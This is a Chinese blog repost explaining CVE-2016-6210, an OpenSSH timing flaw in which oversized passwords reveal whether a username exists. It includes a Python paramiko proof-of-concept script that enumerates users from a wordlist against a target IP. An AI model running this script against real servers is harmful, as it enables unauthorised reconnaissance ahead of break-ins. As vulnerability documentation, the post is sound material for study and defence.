OpenSSH利用处理畸形长度密码造成的时间差，枚举系统用户(CVE-2016-6210)

﹏ヽ暗。殇╰゛Y 2021-12-23 14:41 130阅读 0赞

受影响版本:

opensshd(< =最新版本)

CVE-2016-6210  
  
漏洞描述:

当我们使用ssh客户端去连接服务端的时候，如果向服务端发送一个大于10KB的密码，由于OpenSSH服务端会对user:password的组合，使用加密算法SHA256/SHA512进行加密。  
如果我们传输的是一个不存在的用户名，那么就不会进入sha256(user,password)加密流程，如果用户名存在，服务器将会针对这个10KB大的密码进行SHA256的加密，这里就会产生时间差。

测试脚本：

import paramiko 
    import time
    import sys
    from fileutils import FileUtils
    
    def get_user(ip,user):
    
        p='A'*50000 
        ssh = paramiko.SSHClient() 
        starttime=time.clock() 
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
        try: 
            ssh.connect(ip, username=user, password=p) 
        except: 
            endtime=time.clock()
        
        total=endtime-starttime 
        return (total) 
            
    if __name__ == '__main__':
        ip = sys.argv[1]
        for user in FileUtils.getLines('user.lst'):
            try:
                i = get_user(ip,user)
            except Exception,e:
                print str(e)
            if i > 5.0:
                print '%s : %s : %s found' % (ip , user,i)
            else:
                print '%s : %s : %s no found' % (ip,user,i)

![938563-20160721115729404-1728589775.png][]

转载于:https://www.cnblogs.com/persuit/p/5691259.html

[938563-20160721115729404-1728589775.png]: /images/20211223/ad7962b71d76468ca9a8ba1871c2e481.png

发表评论取消回复

表情：

评论列表（有 0 条评论，130人围观）

还没有评论，来说两句吧...

相关阅读

相关如何枚举一个枚举

问题描述：如何在 C\ 中枚举 enum？例如，以下代码无法编译： public enum Suit { Spa

今天药忘吃喽~/ 2024年03月31日 17:45/ 0 赞/ 73 阅读

相关 tkmybatis 枚举值处理

添加配置在 `yaml` 中添加 mybatis: mapper-locations: classpath:mapper/.xml c

朱雀/ 2023年01月01日 01:53/ 0 赞/ 141 阅读

相关【枚举】信息类枚举

> `前言` 比如用户信息里面有个等级，12345。通常，我们是建一个枚举类。替代方法：在实体类下添加自定义获取名称的方法。好处：如果项目服务很多，方

拼搏现实的明天。/ 2022年12月24日 01:54/ 0 赞/ 192 阅读

相关 OpenSSH 用户名枚举漏洞复现（CVE-2018-15473）

文章目录漏洞名称漏洞编号漏洞描述影响版本环境搭建

爱被打了一巴掌/ 2022年11月05日 12:50/ 0 赞/ 828 阅读

相关枚举 _枚举的其他应用

可以使用枚举实现一个接口可以在枚举类中定义抽象方法枚举类型可以跟普通的类一样实现一个接口，但是实现接口的时候要求枚举中的每个对象都必须单独覆写好接口中的抽象方法。 \

ゞ浴缸里的玫瑰/ 2022年08月09日 13:51/ 0 赞/ 210 阅读

相关 c++ 枚举系统字体

//1、定义： CStringArray m_mSysFonts; //2、回调： static INT CALLBACK NEnumFontNameProc

小咪咪/ 2022年05月22日 07:04/ 0 赞/ 166 阅读

相关 SpringBoot处理枚举数据类型

springboot中，controller与前端的交互，只能是json格式，也就是都认为是string字符串类型。枚举也一样，跟String类型一样，有一个地方要注意，传递枚

水深无声/ 2022年05月18日 09:04/ 0 赞/ 199 阅读

相关 Java中如何获取枚举的长度

　　就像enum StepEnum \{a,b,c,d\}，我想获得StepEnum的长度，可以通过StepEnum.values().length获得，具体使用实例：

爱被打了一巴掌/ 2022年04月06日 12:13/ 0 赞/ 350 阅读

相关 OpenSSH 曝枚举系统用户(CVE-2016-6210)漏洞

该漏洞在opensshd-7.2p2 中被发现，但是安全人员指出，该漏洞应该在更早的版本中已经存在。漏洞描述如下：当我们使用ssh客户端去连接服务端的时候，如果向服务端

男娘i/ 2022年01月27日 03:29/ 0 赞/ 208 阅读

相关 OpenSSH利用处理畸形长度密码造成的时间差，枚举系统用户(CVE-2016-6210)

受影响版本: opensshd(< =最新版本) CVE-2016-6210 漏洞描述: 当我们使用ssh客户端去连接服务端的时候，如果向服务端发送一个大

﹏ヽ暗。殇╰゛Y/ 2021年12月23日 14:41/ 0 赞/ 131 阅读